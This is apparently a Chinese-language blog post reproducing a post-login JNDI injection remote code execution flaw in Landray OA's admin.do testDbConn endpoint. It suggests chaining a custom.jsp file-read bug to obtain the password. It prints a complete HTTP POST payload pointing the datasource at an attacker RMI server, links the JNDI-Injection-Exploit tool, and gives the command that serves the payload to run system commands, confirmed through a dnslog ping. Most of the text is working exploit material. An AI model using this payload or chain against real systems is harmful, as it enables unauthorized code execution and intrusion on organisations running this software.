- A+
所属分类：漏洞复现
漏洞复现：
漏洞触发条件：需要登陆
可以结合蓝凌OA custom.jsp 任意文件读取漏洞来获取登陆密码，进而实现任意代码执行。
Payload:
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 |
POST /admin.do HTTP/1.1 Host: Cookie: JSESSIONID=90EA764774514A566C480E9726BB3D3F; Hm_lvt_9838edd365000f753ebfdc508bf832d3=1620456866; Hm_lpvt_9838edd365000f753ebfdc508bf832d3=1620459967 Content-Length: 70 Cache-Control: max-age=0 Sec-Ch-Ua: " Not A;Brand";v="99", "Chromium";v="90", "Google Chrome";v="90" Sec-Ch-Ua-Mobile: ?0 Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.93 Safari/537.36 Origin: Content-Type: application/x-www-form-urlencoded Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9 method=testDbConn&datasource=rmi://xxx.xxx.xxx.xxx:1099/cbdsdg |
使用JNDI-Injection-Exploit 工具监听端口
工具下载地址：
|
1 |
https://github.com/welk1n/JNDI-Injection-Exploit |
监听并执行系统命令
|
1 |
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "ping aubpp1.dnslog.cn" -A x.x.x.x |
dnslog平台接收到数据，ping命令执行成功。
- 我的微信
- 这是我的微信扫一扫
-
- 我的微信公众号
- 我的微信公众号扫一扫
-
